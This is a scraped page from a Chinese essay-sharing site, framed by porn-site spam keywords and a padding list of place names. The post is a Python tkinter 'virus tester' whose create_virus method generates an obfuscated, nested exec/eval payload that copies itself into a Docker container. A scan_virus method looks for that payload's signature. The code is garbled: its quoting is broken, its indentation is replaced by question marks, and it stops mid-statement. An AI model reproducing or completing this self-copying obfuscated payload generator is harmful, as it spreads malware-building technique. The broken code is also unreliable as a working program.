最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

項(xiàng)目備份

2023-06-17 15:40 作者:一勺鮮奶  | 我要投稿

```python import os import re import hashlib import datetime import tkinter as tk from tkinter import filedialog, ttk import docker class VirusTester: ??def __init__(self, root): ????self.root = root ????self.create_widgets() ????self.client = docker.from_env() ????self.vaccines = {}?# 初始化疫苗字典 ??def create_widgets(self): ????tk.Label(text='容器名:').pack(side=tk.LEFT, padx=5, pady=5) ????self.container_name = tk.Entry(width=20) ????self.container_name.pack(side=tk.LEFT, padx=5, pady=5) ????self.create_virus_button = tk.Button(text='創(chuàng)建病毒', command=self.create_virus) ????self.scan_virus_button = tk.Button(text='掃描病毒', command=self.scan_virus) ????self.file_path_var = tk.Entry(width=50) ????self.monitor_var = tk.StringVar(value='歡迎使用病毒測(cè)試工具!為了確保安全,請(qǐng)勿將該工具用于非法用途。') ????self.monitor_result = tk.Label(textvariable=self.monitor_var) ????self.create_virus_button.pack(side=tk.LEFT, padx=5, pady=5) ????self.scan_virus_button.pack(side=tk.LEFT, padx=5, pady=5) ????tk.Label(text="病毒文件路徑:").pack(side=tk.LEFT, padx=5, pady=5) ????self.file_path_var.pack(side=tk.LEFT, padx=5, pady=5) ????tk.Label(text='狀態(tài):').pack(side=tk.LEFT, padx=5, pady=5) ????self.monitor_result.pack(side=tk.LEFT, padx=5, pady=5) ??def create_virus(self): ????virus_name = hashlib.md5(os.urandom(32)).hexdigest() ????virus_str = f'c="exec";exec({self.obfuscate_str("import os\nimport hashlib\nvirus_file=__file__\nwith open(virus_file,\"rb\") as f:\n??content=f.read()\nhash=hashlib.md5(content).hexdigest()\nif hash!=\"{virus_name}\":\n??with open(virus_file,\"wb\") as f:\n????f.write(content)\na="docker cp -i "';exec("exec(" + self.obfuscate_str(virus_str, n=4) + "a+'./'+os.path.split(virus_file)[-1]+' ' + " + '\nself.container_name + ':/' + os.path.split(virus_file)[-1]" + ")')") ????virus_content = f"exec({self.obfuscate_str(virus_str, n=2)})" ????with open(f"{virus_name}.py", "w") as f: ??????f.write(virus_content) ????self.monitor_var.set(f"病毒已創(chuàng)建:{virus_name}.py") ??def scan_virus(self): ????python_files = [os.path.join(root, file) for root, _, files in os.walk(".") for file in files if file.endswith(".py")] ????if not python_files: ??????self.monitor_var.set("當(dāng)前目錄下不存在Python文件。") ??????return ????virus_files = [] ????virus_count = 0 ????progress_bar = ttk.Progressbar(self.root, mode='determinate', length=400) ????progress_bar.pack() ????progress_bar.start() ????for file in python_files: ??????with open(file) as f: ????????content = f.read() ????????if "import os" in content and "import hashlib" in content and "__file__" in content and "docker cp" in content and "docker exec" in content: ??????????virus_name = re.search(r'if\s+hash\s+!=\s+"(.+?)":', content).group(1) ??????????virus_files.append(file) ??????????virus_count += 1 ??????progress_bar.step(100/len(python_files)) ??????self.root.update() ????progress_bar.stop() ????if virus_files: ??????self.monitor_var.set(f"發(fā)現(xiàn){virus_count}個(gè)病毒文件:{','.join(virus_files)}") ????else: ??????self.monitor_var.set("未發(fā)現(xiàn)病毒文件。") ??@staticmethod ??def obfuscate_str(s, n=1): ????s = s.replace("\\", "\\\\").replace("\n", "\\n").replace("\t", "\\t") ????for i in range(n): ??????s = f"s=\"{s}\";s=eval(compile(s.encode().decode('unicode_escape').encode('utf-8'),'','exec'),{{}},{{}});s=repr(s)" ????return s if __name__

項(xiàng)目備份的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
建水县| 富川| 西宁市| 瑞安市| 舒城县| 五河县| 新绛县| 连南| 涪陵区| 南乐县| 启东市| 清徐县| 崇信县| 河池市| 白玉县| 齐齐哈尔市| 泰顺县| 吴堡县| 内乡县| 清河县| 鹤山市| 大兴区| 大英县| 大宁县| 荔浦县| 保定市| 通许县| 大埔区| 龙岩市| 兰州市| 庄河市| 邵阳市| 宕昌县| 大庆市| 洪江市| 贡嘎县| 香港 | 湖口县| 高清| 淮南市| 图们市|